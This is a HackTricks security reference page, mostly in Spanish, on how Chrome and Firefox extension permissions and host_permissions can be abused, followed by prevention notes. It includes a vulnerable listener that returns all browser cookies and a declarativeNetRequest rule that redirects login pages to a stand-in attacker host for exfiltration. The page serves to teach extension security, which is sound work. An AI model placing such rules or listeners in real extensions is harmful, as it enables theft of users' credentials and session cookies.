BrowExt - permissions & host_permissions

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

permissions

Permissions are defined in the extension’s manifest.json file using the permissions property and allow access to almost anything a browser can access (Cookies or Physical Storage):

El manifiesto anterior declara que la extensión requiere el permiso storage. Esto significa que puede usar the storage API para almacenar sus datos de forma persistente. A diferencia de cookies o las APIs localStorage, que ofrecen a los usuarios cierto nivel de control, el almacenamiento de la extensión normalmente solo puede borrarse desinstalando la extensión.

Una extensión solicitará los permisos indicados en su manifest.json y después de instalar la extensión, siempre puedes comprobar sus permisos en tu navegador, como se muestra en esta imagen:

Puedes encontrar la complete list of permissions a Chromium Browser Extension can request here y una complete list for Firefox extensions here.

host_permissions

La configuración opcional pero potente host_permissions indica con qué hosts la extensión va a poder interactuar a través de APIs como cookies, webRequest, y tabs.

Los siguientes host_permissions básicamente permiten todos los sitios web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Estos son los hosts a los que la extensión del navegador puede acceder libremente. Esto se debe a que cuando una extensión del navegador llama a fetch("https://gmail.com/") no está restringida por CORS.

Abuso de permissions y host_permissions

Cookies

El permiso cookies permite a la extensión acceder a todas las cookies del navegador. En this blog post este permiso fue explotado mediante un script de fondo vulnerable para abusar de una extensión del navegador y proporcionar al atacante todas las cookies del navegador del usuario víctima que accedió a la página web maliciosa. El código vulnerable simplemente devolvía todas las cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Moreover, host_permissions also unlock “advanced” tabs API functionality. They allow the extension to call tabs.query() and not only get a list of user’s browser tabs back but also learn which web page (meaning address and title) is loaded.

Caution

No solo eso: listeners como tabs.onUpdated también se vuelven mucho más útiles. Estos serán notificados cada vez que una nueva página se cargue en una pestaña.

Running content scripts

Content scripts no tienen por qué estar necesariamente escritos de forma estática en el manifest de la extensión. Con suficientes host_permissions, las extensiones también pueden cargarlos dinámicamente llamando a tabs.executeScript() o a scripting.executeScript().

Ambas APIs permiten ejecutar no solo ficheros contenidos en la extensión como content scripts sino también código arbitrario. La primera permite pasar JavaScript como una cadena mientras que la segunda espera una función JavaScript, lo cual es menos propenso a vulnerabilidades de inyección. Aun así, ambas APIs pueden causar estragos si se usan de forma indebida.

Caution

Además de las capacidades anteriores, por ejemplo los content scripts podrían interceptar credenciales mientras se introducen en páginas web. Otra forma clásica de abusar de ellos es inyectar publicidad en cada sitio web. También es posible añadir mensajes de scam para abusar de la credibilidad de noticias en sitios web. Finalmente, podrían manipular sitios bancarios para redirigir transferencias de dinero.

Implicit privileges

Algunos privilegios de extensión no tienen que ser declarados explícitamente. Un ejemplo es la tabs API: su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas; simplemente no sabrá a qué sitio web corresponden esas pestañas.

¿Suena demasiado inofensivo? La tabs.create() API lo es un poco menos. Puede usarse para crear una nueva pestaña, esencialmente igual que window.open() que puede llamar cualquier sitio web. Sin embargo, mientras que window.open() está sujeto al bloqueador de pop-ups, tabs.create() no lo está.

Caution

Una extensión puede crear cualquier número de pestañas cuando quiera.

Si revisas los posibles parámetros de tabs.create() verás también que sus capacidades van mucho más allá de lo que window.open() puede controlar. Y mientras Firefox no permite que se usen URIs data: con esta API, Chrome no tiene tal protección. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() es muy similar a tabs.create() pero modifica una pestaña existente. Así que una extensión maliciosa puede, por ejemplo, cargar arbitrariamente una página de publicidad en una de tus pestañas, y también puede activar la pestaña correspondiente.

Webcam, geolocation and friends

Probablemente sabes que los sitios web pueden solicitar permisos especiales, p. ej. para acceder a tu webcam (herramientas de videoconferencia) o a tu ubicación geográfica (mapas). Son funcionalidades con considerable potencial de abuso, así que los usuarios cada vez tienen que confirmar que siguen queriendo esto.

Caution

No ocurre así con las extensiones de navegador. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Típicamente, una extensión lo solicitará inmediatamente después de ser instalada. Una vez que se acepta este prompt, el acceso a la webcam es posible en cualquier momento, incluso si el usuario en ese momento no está interactuando con la extensión. Sí, un usuario solo aceptará este prompt si la extensión realmente necesita acceso a la webcam. Pero después de eso tienen que confiar en que la extensión no grabe nada en secreto.

Con acceso a your exact geographical location o al contents of your clipboard, conceder permiso explícito no es necesario en absoluto. Una extensión simplemente añade geolocation o clipboard a la permissions entry de su manifest. Estos privilegios de acceso se conceden implícitamente cuando la extensión se instala. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimientos o monitorizar tu clipboard en busca de contraseñas copiadas sin que te des cuenta.

Añadir la palabra clave history a la permissions entry del manifest de la extensión concede acceso a la history API. Permite recuperar el historial de navegación entero del usuario de una vez, sin esperar a que el usuario visite esos sitios de nuevo.

El permiso bookmarks tiene un potencial de abuso similar; permite leer todos los marcadores vía la bookmarks API.

Storage permission

El almacenamiento de la extensión es simplemente una colección key-value, muy similar a localStorage que cualquier sitio web podría usar. Por eso no se debería almacenar información sensible aquí.

Sin embargo, las empresas de publicidad también podrían abusar de este almacenamiento.

More permissions

Manifest V3 separó el acceso a páginas de los permisos de API: permissions sigue gobernando las APIs privilegiadas (cookies, tabs, history, scripting, etc.) mientras que host_permissions controla qué orígenes pueden tocar esas APIs. MV3 también hizo que los host permissions fuesen grantables en tiempo de ejecución, de modo que las extensiones pueden enviarse sin ninguno y mostrar un prompt de consentimiento más tarde vía chrome.permissions.request()—útil para flujos legitimos de mínimo privilegio, pero también abusado por malware para escalar tras establecer reputación.

Una variante sigilosa es declarativeNetRequestWithHostAccess (Chrome ≥96). Proporciona el mismo poder de bloqueo/redirección de requests que declarativeNetRequest pero muestra un prompt de instalación más débil que los host permissions <all_urls>. Extensiones maliciosas la usan para obtener silenciosamente la capacidad de “block/redirect on any site”; prueba prompts con chrome://extensions/?errors y chrome://extensions/?id=<id>.

Las reglas dinámicas de declarativeNetRequest permiten a una extensión reprogramar la política de red en tiempo de ejecución. Con acceso <all_urls> un atacante puede convertirlo en un arma para secuestrar tráfico o exfiltrar datos. Example:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome aumentó los límites de reglas MV3 (≈330k estáticas / 30k dinámicas), por lo que conjuntos de cobertura grandes son factibles para interceptación/inyección de anuncios.

Patrones recientes de abuso

  • Supply-chain trojanized updates: Cuentas de desarrollador comprometidas publican actualizaciones MV3 que agregan <all_urls> más declarativeNetRequest/scripting/webRequest para inyectar JS remoto y exfiltrar cabeceras/contenido del DOM.
  • Wallet drains: El acceso a hosts junto con storage y tabs permite que extensiones de wallet con puerta trasera exfiltren seeds; claves API robadas de Web Store se han usado para distribuir builds maliciosos.
  • Cookie theft: Cualquier extensión con cookies + amplio acceso a hosts puede leer cookies de autenticación a pesar de HttpOnly; trata esa combinación como capaz de robar credenciales.

Prevención

La política de desarrolladores de Google prohíbe explícitamente que las extensiones soliciten más privilegios de los necesarios para su funcionalidad, mitigando así las peticiones excesivas de permisos. Un caso en el que una extensión de navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos.

Los navegadores podrían limitar aún más el uso indebido de privilegios de extensiones. Por ejemplo, las APIs de Chrome tabCapture y desktopCapture, usadas para grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede activarse mediante interacción directa del usuario, como hacer clic en el icono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, evitando grabaciones clandestinas.

Sin embargo, reforzar las medidas de seguridad suele derivar en una menor flexibilidad y usabilidad de las extensiones. La activeTab permission ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones soliciten privilegios de host en toda la Internet, permitiendo que accedan solo a la pestaña actual tras la activación explícita del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero resulta insuficiente para las que necesitan acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks